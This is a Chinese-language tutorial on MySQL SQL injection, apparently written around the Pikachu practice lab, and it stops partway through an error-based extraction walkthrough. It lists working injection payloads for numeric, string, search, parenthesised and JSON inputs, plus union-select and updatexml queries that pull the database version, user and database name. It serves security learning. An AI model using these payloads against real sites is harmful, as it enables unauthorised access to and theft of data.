MySQL数据库的SQL注入漏洞解析
说明:本文仅是用于学习分析自己搭建的SQL漏洞内容和原理,请勿用在非法途径上,违者后果自负,与笔者无关;本文开始前请认真详细学习《中华人民共和国网络安全法》及其相关法规内容【学法时习之丨网络安全在身边一图了解网络安全法_中央网络安全和信息化委员会办公室】
一、SQL注入原理
SQL注入是指客户端对用户输入提交数据内容的合法性没有判断或过滤不严格,导致服务端拼接了用户伪造的SQL语句内容,且服务端将这些伪造的sql语句发给数据库执行(实现欺骗数据库服务器执行非授权的任意操作),数据库返回伪造的sql语句执行结果给服务器端,服务端将结果又返回给客户端。导致数据泄露或数据破坏,甚至导致主机完全被接管的一种安全漏洞。
SQL注入总结起来就是:没有对用户输入提交数据内容的合法性进行严格的判断或过滤,就直接将这些伪造的数据内容带入到数据库执行,导致数据泄露或损坏,甚至导致完全接管主机的一种安全漏洞。
SQL注入自 20 世纪 90 年代末至今一直都是研究热点,是流行范围最广、威胁最大的攻击类型之一,因为它可能被用来攻击任何使用基于 SQL 的数据库的 Web 应用或网站,而大多数 Web 应用和网站都使用基于 SQL 的数据库 。
二、SQL注入分类
2.1、布尔型注入
数据类型分类:数字型、字符型、搜索型、XX型、Json类型
2.1.1、数字型
我们在使用数字型进行注入测试的时候,并不是直接根据页面显示的内容为数字就判断为数字,因为也有可能是字符类型的伪数字,需要我们多种尝试测试(一般页码是数字)。
-- 数字型拼接测试命令1
or 1=1#
-- 数字型拼接测试命令2
or 1=1 --
说明:【#】【--】是SQL语句中的注释符,主要用于SQL语句作用说明或者将sql语句注释掉,被注释的内容就不会被执行了。测试命令中之所以要在后面再添加上注释符号,主要是用于将注释符后面的内容直接注释掉,不会被数据库执行。
# 数字型示例
# 正常SQL语句为:
select * from pikachu.member where id=1;
# SQL数字型注入命令1为:
select * from pikachu.member where id=1 or 1=1#;
# SQL数字型注入命令2为:
select * from pikachu.member where id=1 or 1=1 -- ;
2.1.2、字符型
字符型注入是:可以直接先添加【'】进行测试,如果报SQL语法错误,则继续使用拼接命令测试是否可以获取到内容,若可以获取到内容则表示成功。
-- 字符型拼接测试命令1
' or 1=1#
-- 字符型拼接测试命令2
' or 1=1 --
#字符型示例:
-- 正常的SQL语句为:
select * from pikachu.member where username='allen';
-- SQL字符型注入命令1为(我们拼接命令中的'用于闭合前面的查询内容,后面的or 1=1是恒为真的条件,#用于注释掉后面的sql语句内容,不让数据库执行):
select * from pikachu.member where username='allen'or 1=1#';
-- SQL字符型注入命令1为:
select * from pikachu.member where username='allen'or 1=1 -- ';
2.1.3、搜索型
搜索型也就是我们经常使用的模糊查询,即SQL语句中使用的【like '%需搜索的内容%'】,即匹配一个或任意多个内容。
# 搜索型拼接测试命令1
需要搜索的值%' or 1=1 #'
# 搜索型拼接测试命令2
%需要搜索的值%' or 1=1 #'
# 搜索型拼接测试命令3
%' or 1=1 #'
2.1.4、XX型
xx型是由于SQL语句的拼接方式不同导致的(比如:使用了括号将内容包起来):
# XX型拼接测试命令1:
') or 1=1#
# XX型拼接测试命令2:
') or 1=1 --
# XX型示例:
# 正常的SQL语句
select * from pikachu.member where username=('allen');
# XX型测试命令:
select * from pikachu.member where username=('allen') or 1=1#;
2.1.5、Json型
# json注入拼接测试命令:
json={"键":"值' or 1=1 #"}
2.2、联合查询注入
联合查询是指使用带有【union】关键字的注入,适合查询有具体显示列数量的注入。
# 联合拼接测试命令
'union select 需要填充的字段数量#
# 联合查询示例
# 正常SQL
select username,email from pikachu.member where username='allen'
#联合查询SQL(获取到当前的登录用户名称和数据库名称)
select username,email from pikachu.member where username='allen' union select user(),database();
2.3、基于错误注入
报错注入是指客户端界面上没有显示具体内容的位置,但是会显示数据库执行SQL语句的报错信息,可以通过数据库的指定函数制造错误,从而从报错信息来获取数据库的指定数据内容。
注意错误注入的前提条件是:【后台服务器没有屏蔽数据库报错信息,在语法发生错误时会直接输出在前端,并且错误信息里面可能会包含库名、表名等相关信息】。
序号 | Mysql常用的报错函数 | 说明 |
1 | Updatexml() | 返回替换的 XML 片段 |
2 | extractvalue() | 使用 XPath 表示法从 XML 字符串中提取值 |
3 | floor() | 用来获取整数 |
MySQL :: MySQL 5.7 Reference Manual :: 12.11 XML Functionshttps://dev.mysql.com/doc/refman/5.7/en/xml-functions.html
-- SQL注入的完整流程(适用于SQL的布尔型注入、错误注入、还有insert\update\delete注入)
# 1、获取MySql数据库的版本命令:
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
# 2、获取当前数据库的连接用户命令:
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
# 3、获取当前连接的数据库名称命令:
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
# 4、获取到MySql指定数据库的所有表名称